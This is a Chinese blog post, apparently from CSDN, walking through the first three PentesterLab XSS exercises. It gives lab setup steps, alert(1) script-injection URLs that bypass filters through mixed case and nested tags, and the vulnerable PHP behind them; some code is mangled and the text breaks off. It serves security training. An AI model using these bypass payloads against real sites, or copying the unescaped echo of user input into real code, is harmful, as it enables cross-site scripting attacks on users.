pentesterlab xss漏洞分析

最新推荐文章于 2024-05-02 10:30:00 发布

Jasky_Death

最新推荐文章于 2024-05-02 10:30:00 发布

阅读量1.3k

点赞数

本文链接：https://blog.csdn.net/nushare/article/details/18301369

版权

本文介绍了pentesterlab作为渗透测试学习平台的特点，并详细解析了多个XSS漏洞案例，包括利用大小写绕过、嵌套script标签、eval函数及POST方法等方法进行攻击。

摘要由CSDN通过智能技术生成



　　pentesterlab简介

　　pentesterlab官方定义自己是一个简单又十分有效学习渗透测试的演练平台。

　　pentesterlab环境搭建

　　官方提供了一个基于debian6的镜像，官网下载镜像，使用vmware建立一个虚拟机，启动即可。

　　ps：官方文档建议做一个host绑定，方便后面使用

　　windows下hosts文件目录：C:\Windows\System32\Drivers\etc\hosts，打开后添加以下一行

　　192.168.1.100 vulnerable # 具体ip可以在虚拟机中使用ifconfig查看

　　xss分析

　　第一个xss非常简单，直接输入即可

　　// 

　　http://vulnerable/xss/example1.php?name=%3Cscript%3Ealert(1)%3C/script%3E

　　它对应的代码如下

　　 

　　echo $_GET["name"];

　　?>

　　第二个xss过滤了 小写的，可以使用大小写绕过

　　// 

　　http://vulnerable/xss/example2.php?name=%3CsCript%3Ealert(1);%3C/scrIpt%3E

　　它对应的代码如下

　　 

　　$name = $_GET["name"];

　　$name = preg_replace("/，可以使用嵌套的script标签绕过

　　// ipt>alert(1)Ipt>

　　http://vulnerable/xss/example3.php?name=%3CsCr%3CscriPt%3Eipt%3Ealert(1)%3C/scr%3C/scRipt%3EIpt%3E

　　它对应的代码如下

　　 

　　$name = $_GET["name"];

　　$name = preg_r